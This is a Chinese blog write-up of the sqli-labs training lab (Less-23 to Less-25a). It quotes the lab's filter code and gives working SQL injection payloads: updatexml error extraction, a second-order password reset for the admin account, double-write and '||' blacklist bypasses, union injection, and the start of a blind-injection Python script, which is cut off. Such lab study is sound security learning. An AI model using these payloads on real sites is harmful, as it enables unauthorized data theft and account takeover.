sqli-labs实战记录(二)

本文记录了在sqli-labs实战中遇到的各种过滤和防护,探讨了如何通过代码审计和技巧绕过WAF,包括双写、报错注入、盲注等方法。涉及Less-23至Less-37,总结了在不同场景下如黑名单、编码转换、HTTP参数污染等应对策略。
摘要由CSDN通过智能技术生成

Less-23

从这里开始应该是有做了防护,我们可以边看源代码练习代码审计,一边学习各种过waf的技巧了,这一题查看源代码的话发现注释符被过滤掉了

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

但其实对于这一句SQL语句,我们可以直接单引号闭合而不用注释去把后面的东西给省略掉

http://127.0.0.1/sqlilabs/Less-23/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1

直接报出数据库,此题完结

Less-24

这一题应该是设计二次注入的题目
在CTF题目里面的话肯定是要你获取admin的账号然后改变admin的密码用admin账号登录获取flag
这里主要关键是pass_change.php这里面的代码

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "

若我们在修改密码的时候
注册一个admin’#的用户就是为了后期能够使这一句话后面的内容全都注释的,从而直接更新的是admin的用户名
这时候的语句就会变成

UPDATE users SET PASSWORD='$pass' where username='admin' 

改你想要密码,然后退出在直接用admin登录就好

Less-25

这一题看源代码会发现有一个黑名单

function blacklist($id)
{
   
    $id= preg_replace('/or/i',"", $id);           //strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);       //Strip out AND (non case sensitive)

    return $id;
}

把or还有AND都会替换成为"",这里是大小写都会被拦截下来的
这时候其实可以有几个办法能够绕过

1)大小写变形Or,OR,oR2)编码,hex,urlencode
(3)添加注释/*or*/
(4)利用符号and=&& or=||
(5)双写绕过

输入一个单引号会出现单引号的报错,所以我们尝试闭合一下
http://127.0.0.1/sqlilabs/Less-25/?id=1%27 %23 成功出现回显

我这里选择用双写绕过

http://127.0.0.1/sqlilabs/Less-25/?id=1' aandnd updatexml(1,concat(0x7e,database(),0x7e),1) %23

符号绕过

http://127.0.0.1/sqlilabs/Less-25/?id=1' || updatexml(1,concat(0x7e,database(),0x7e),1) %23

Less-25a

跟上面一题同样的过滤方式,语句变简单了,不用单引号去闭合
但是这一题不能再用报错注入,因为源码中把报错信息给注释掉了,可以用盲注,我们需要用的是union注入或者是盲注
union注入

http://127.0.0.1/sqlilabs/Less-25a/?id=-1 union select 1,database(),3%23

再来一个二分法盲注,通过注入成功还会显示登录名这个标志

import requests
import time

url = '''http://127.0.0.1/sqlilabs/Less-25a/?id=1 aandnd ascii(substr(database(),{_},1))>{__}%23''
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值